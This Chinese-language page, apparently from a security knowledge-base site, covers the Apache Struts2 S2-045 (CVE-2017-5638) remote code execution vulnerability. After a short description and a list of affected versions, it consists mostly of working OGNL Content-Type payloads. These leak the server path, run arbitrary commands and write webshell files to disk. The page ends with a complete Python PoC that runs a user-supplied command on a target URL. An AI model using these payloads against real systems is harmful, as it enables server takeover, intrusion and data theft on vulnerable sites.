menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2017-5638)S2-045 chevron_right (CVE-2017-5638)S2-045.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2017-5638)S2-045.md
    6.26 KB / 2021-07-15 19:48:32
        (CVE-2017-5638)S2-045
    =======================
    
    一、漏洞简介
    ------------
    
    Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。
    
    实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts
    2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
    
    二、漏洞影响
    ------------
    
    Struts 2.3.5 -- Struts 2.3.31
    
    Struts 2.5 -- Struts 2.5.10
    
    三、复现过程
    ------------
    
    ### 获取web相关信息exp
    
    自己构造版本 优化前(并不适用2.5.10,但执行一次优化版本后就适用了):
    
        %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data
    
    自己构造版本 优化后(遇到个xxxx 貌似不适用。我擦):
    
        %{(#[email protected]@DEFAULT_MEMBER_ACCESS).((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#_memberAccess))).(#wmres=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#wmres.getWriter().print("S2-045 dir--***")).(#wmreq=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#wmres.getWriter().println(#wmreq.getSession().getServletContext().getRealPath("/"))).(#wmres.getWriter().flush()).(#wmres.getWriter().close())}.multipart/form-data
    
    网上别人的版本
    
        %{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('/')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.write(#path.getBytes())).(#ros.flush())}.multipart/form-data
    
    ### 执行命令
    
    网上公开修改版本:
    
        %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
    
    ### 上传文件getshell
    
    自己构造版本(并不适用2.5.10):
    
        %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#res.getWriter().flush()).(#res.getWriter().close()).(new java.io.BufferedWriter(new java.io.FileWriter("/1111/")).append(new java.net.URLDecoder().decode("shell",'UTF-8')).close())}.multipart/form-data
    
    实用度高的版本无限制长度getshell版本(并不适用2.5.10)
    
        %{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#bf=new java.io.BufferedWriter(new java.io.FileWriter("C:\\1.txt"))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#bf)).(#bf.flush()).(#bf.close()).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.getWriter().print("OK")).(#res.getWriter().flush()).(#res.getWriter().close())}.multipart/form-data
    
    ### 注意:无限制长度版本是因为Content-Type长度有限,它将post数据包里面所有的数据都写进指定路径文件里面。
    
    ### poc
    
        #! /usr/bin/env python
        # encoding:utf-8
        import urllib2
        import sys
        from poster.encode import multipart_encode
        from poster.streaminghttp import register_openers
        def poc():
            if len(sys.argv) < 3:
                print '''Usage: poc.py http://www.0-sec.org/example/HelloWorld.action "command"'''
                sys.exit()
            register_openers()
            datagen, header = multipart_encode({"image": open("tmp.txt", "w+")})
            header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
            header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv[2])+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
            response = urllib2.urlopen(request)
            print response.read()
        poc()
    
    
    links
    file_download